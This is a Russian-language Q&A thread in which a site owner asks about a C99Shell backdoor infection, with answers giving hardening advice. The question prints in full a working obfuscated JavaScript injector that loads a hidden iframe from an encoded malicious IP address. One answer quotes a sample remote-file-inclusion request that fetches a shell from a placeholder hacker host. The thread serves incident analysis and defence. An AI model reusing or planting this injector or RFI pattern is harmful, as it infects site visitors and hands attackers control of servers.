Защита сайта от Backdoor / PHP.C99Shell, также известного как Trojan.Script.224490 - PullRequest
8 голосов
/ 05 августа 2010

Мой сайт был заражен троянским скриптом.

Кто-то сумел создать / загрузить файл с именем "x76x09.php" или "config.php" в корневой каталог моего веб-пространства. Его размер составляет 44287 байт, а контрольная сумма MD5 - 8dd76fc074b717fccfa30b86956992f8. Я проанализировал этот файл, используя Virustotal . Эти результаты говорят, что это «Backdoor / PHP.C99Shell» или «Trojan.Script.224490».

Этот файл был выполнен в тот же момент, когда он был создан. Так что это должно было произойти автоматически. Этот файл добавляет следующий вредоносный код в конец каждого файла index.php в моем веб-пространстве.

</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>

После того, как этот код появился на моей странице, пользователи сообщили о появлении синей панели в Firefox. Он попросил их установить плагин. Теперь у некоторых из них есть Exploit.Java.CVE-2010-0886.a на их ПК.

Заражение произошло, хотя у меня были включены allow_url_fopen и allow_url_include. И мой хостер говорит, что файл не был загружен через FTP.

Итак, мои вопросы:

  • Что делает вредоносный код? Как это закодировано?
  • Как удаленный файл ("x76x09.php" или "config.php") может попасть в мое веб-пространство? SQL-инъекция? Вирус на моем компьютере?
  • Как я могу защитить свой сайт от подобных атак в будущем?

Заранее большое спасибо! Мне действительно нужна помощь.

Этот вопрос похож. Но это больше похоже на отчет. Я не знал, что это вирус с самого начала. Так что этот вопрос здесь относится к самому вирусу, а другой вопрос - нет.

Ответы [ 3 ]

7 голосов
/ 06 августа 2010

Многие веб-сайты, которые мы видели и которые были взломаны, являются результатом вируса на ПК, который используется для передачи файлов FTP на зараженный веб-сайт. Вирус крадет пароль FTP различными способами, но прежде всего двумя.

Во-первых, если вы используете бесплатную программу FTP, такую ​​как FileZilla, вы должны знать, что эти программы хранят свои сохраненные учетные данные для входа в виде простого текстового файла. Вирусу легко найти их, прочитать их и отправить информацию на сервер, который затем регистрируется на FTP с действительными учетными данными, копирует определенные файлы себе, заражает их, а затем отправляет обратно на веб-сайт. Часто он также копирует эти сценарии оболочки «backdoor» на веб-сайт, чтобы при смене паролей FTP они могли повторно заражать сайт.

Вирус также «обнюхивает» трафик FTP. Поскольку FTP передает все данные, включая имя пользователя и пароль, в виде простого текста, вирус может легко увидеть и украсть информацию таким же образом.

Однако довольно часто, когда мы видели бэкдор, вызывающий заражение, это обычно является результатом уязвимости удаленного включения файлов где-то на сайте. Хакеры постоянно пытаются добавить URL, указывающий на один из их бэкдоров, в конец любой строки запроса. Таким образом, в ваших журналах доступа вы можете увидеть что-то вроде:

/ путь / папка / другое / папка / file.php? http://www.hackerswebsite.com/id.txt????

Здесь строка пути / папки предназначена только для демонстрационных целей.

Иногда эта команда работает, и они могут скопировать id.txt на предполагаемый веб-сайт и, таким образом, имеют скрипт оболочки бэкдора, из которого они могут управлять файлами.

Изменить все пароли - FTP, база данных, cPanel или другой административный интерфейс.

Проверять все ПК на наличие вирусов.

Изменить на SFTP.

Проверьте все папки на 755 разрешений и все файлы на 644. Это то, что является стандартным.

Если бы это была инъекция SQL, заражение не было бы в конце файла. Это было бы где-то, где есть SQL-вызов для генерации контента.

Да. В сегодняшних бэкдорах злоумышленник может и, вероятно, уже просматривал файлы config.php, в которых сохранены ваши данные MySQL.

Изменить все пароли.

6 голосов
/ 05 августа 2010

Ваш сайт был взломан с использованием кода эксплойта .

  1. Вы должны обновить все, включая любые библиотеки php вы можете установили.

  2. Запустите phpsecinfo и удалите все красный и как можно больше желтого изменив свой .htaccess или php.ini.

  3. Снять права на запись со всех файлы и папки вашего веб-корня (chmod 500 -R /var/www && chown www-root /var/www) Чоун должен быть тем, кто запускает PHP так сделать <?php system('whoami');?> для понять это.

  4. Измените все пароли и используйте sftp или ftps, если можете.

  5. Удалите FILE привилегий из вашего MySQL аккаунт, что ваш php приложение использует.

0 голосов
/ 05 августа 2010

Возможно, на вашем сайте есть механизм загрузки, который не отфильтрован должным образом.Например, если у вас есть возможность использовать изображение профиля, кто-то может загрузить файл php и найти способ его выполнить и получить контроль над вашим веб-сайтом.

x76x09.php - браузер / загрузчик каталогов без цензурыЭто позволяет злоумышленнику получить полный контроль над вашим веб-сайтом.

Убедитесь, что вы временно отключили все способы загрузки файлов на сервер и удалите все экземпляры вредоносного кода во ВСЕХ файлах.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...